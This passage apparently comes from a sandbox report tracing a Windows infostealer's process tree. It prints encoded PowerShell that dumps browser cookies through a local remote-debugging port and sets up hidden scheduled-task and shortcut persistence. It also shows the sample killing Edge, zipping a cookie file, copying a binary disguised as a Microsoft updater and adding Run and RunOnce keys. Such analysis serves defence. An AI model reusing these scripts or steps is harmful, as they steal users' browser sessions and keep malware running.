CAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA="
                                                                                                                              2⤵
                                                                                                                                PID:6636
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADkAMQAxAC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA5ADEAMQAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA=
                                                                                                                                  3⤵
                                                                                                                                    PID:6700
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe 2>nul"
                                                                                                                                  2⤵
                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                  PID:5424
                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                    taskkill /F /IM msedge.exe
                                                                                                                                    3⤵
                                                                                                                                    • Kills process with taskkill
                                                                                                                                    PID:6912
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "tar -caf "C:\Users\Admin\AppData\Local\Temp\deepside.zip" -C "C:\Users\Admin\AppData\Local\Temp\_mamrlx" ."
                                                                                                                                  2⤵
                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                  PID:7012
                                                                                                                                  • C:\Windows\system32\tar.exe
                                                                                                                                    tar -caf "C:\Users\Admin\AppData\Local\Temp\deepside.zip" -C "C:\Users\Admin\AppData\Local\Temp\_mamrlx" .
                                                                                                                                    3⤵
                                                                                                                                      PID:3056
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "tar -caf "C:\Users\Admin\AppData\Local\Temp\ds_ck_1784536649343.zip" -C "C:\Users\Admin\AppData\Local\Temp" "ds_ck_1784536649343.txt""
                                                                                                                                    2⤵
                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                    PID:3756
                                                                                                                                    • C:\Windows\system32\tar.exe
                                                                                                                                      tar -caf "C:\Users\Admin\AppData\Local\Temp\ds_ck_1784536649343.zip" -C "C:\Users\Admin\AppData\Local\Temp" "ds_ck_1784536649343.txt"
                                                                                                                                      3⤵
                                                                                                                                        PID:5932
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "cmd /c copy /Y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate\MicrosoftEdgeUpdate.exe""
                                                                                                                                      2⤵
                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                      PID:2480
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        cmd /c copy /Y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderUpdate\WindowsDefenderUpdate.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate\MicrosoftEdgeUpdate.exe"
                                                                                                                                        3⤵
                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                        PID:1524
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate\MicrosoftEdgeUpdate.exe"" /f"
                                                                                                                                      2⤵
                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                      PID:4656
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate\MicrosoftEdgeUpdate.exe"" /f
                                                                                                                                        3⤵
                                                                                                                                        • Adds Run key to start application
                                                                                                                                        PID:3424
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "MicrosoftEdgeUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate\MicrosoftEdgeUpdate.exe"" /f"
                                                                                                                                      2⤵
                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                      PID:4544
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "MicrosoftEdgeUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate\MicrosoftEdgeUpdate.exe"" /f
                                                                                                                                        3⤵
                                                                                                                                        • Adds Run key to start application
                                                                                                                                        PID:3280
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "MicrosoftEdgeUpdateTask" /F"
                                                                                                                                      2⤵
                                                                                                                                      • Indicator Removal: Clear Persistence
                                                                                                                                      PID:5492
                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                        schtasks /Delete /TN "MicrosoftEdgeUpdateTask" /F
                                                                                                                                        3⤵
                                                                                                                                          PID:4632
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAVQBwAGQAYQB0AGUAXABNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlAFUAcABkAGEAdABlAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuADsAJABzAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0ASABpAGQAZABlAG4AIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAMAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAFMAdABhAHIAdABXAGgAZQBuAEEAdgBhAGkAbABhAGIAbABlACAALQBNAHUAbAB0AGkAcABsAGUASQBuAHMAdABhAG4AYwBlAHMAIABJAGcAbgBvAHIAZQBOAGUAdwA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQBVAHAAZABhAHQAZQBUAGEAcwBrACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA="
                                                                                                                                        2⤵
                                                                                                                                          PID:4612
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAVQBwAGQAYQB0AGUAXABNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlAFUAcABkAGEAdABlAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuADsAJABzAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0ASABpAGQAZABlAG4AIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAMAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAFMAdABhAHIAdABXAGgAZQBuAEEAdgBhAGkAbABhAGIAbABlACAALQBNAHUAbAB0AGkAcABsAGUASQBuAHMAdABhAG4AYwBlAHMAIABJAGcAbgBvAHIAZQBOAGUAdwA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQBVAHAAZABhAHQAZQBUAGEAcwBrACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA=
                                                                                                                                            3⤵
                                                                                                                                              PID:2276
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJAB3AHMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAHMAPQAkAHcAcwAuAEMAcgBlAGEAdABlAFMAaABvAHIAdABjAHUAdAAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAHQAYQByAHQAIABNAGUAbgB1AFwAUAByAG8AZwByAGEAbQBzAFwAUwB0AGEAcgB0AHUAcABcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAVQBwAGQAYQB0AGUALgBsAG4AawAnACkAOwAkAHMALgBUAGEAcgBnAGUAdABQAGEAdABoAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAVQBwAGQAYQB0AGUAXABNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlAFUAcABkAGEAdABlAC4AZQB4AGUAJwA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ADcAOwAkAHMALgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4APQAnAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBlAHIAdgBpAGMAZQAnADsAJABzAC4AUwBhAHYAZQAoACkA"
                                                                                                                                            2⤵
                                                                                                                                              PID:1444
                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJAB3AHMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAHMAPQAkAHcAcwAuAEMAcgBlAGEAdABlAFMAaABvAHIAdABjAHUAdAAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAHQAYQByAHQAIABNAGUAbgB1AFwAUAByAG8AZwByAGEAbQBzAFwAUwB0AGEAcgB0AHUAcABcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAVQBwAGQAYQB0AGUALgBsAG4AawAnACkAOwAkAHMALgBUAGEAcgBnAGUAdABQAGEAdABoAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAVQBwAGQAYQB0AGUAXABNAGkAYwByAG8AcwBvAGYAdABFAGQA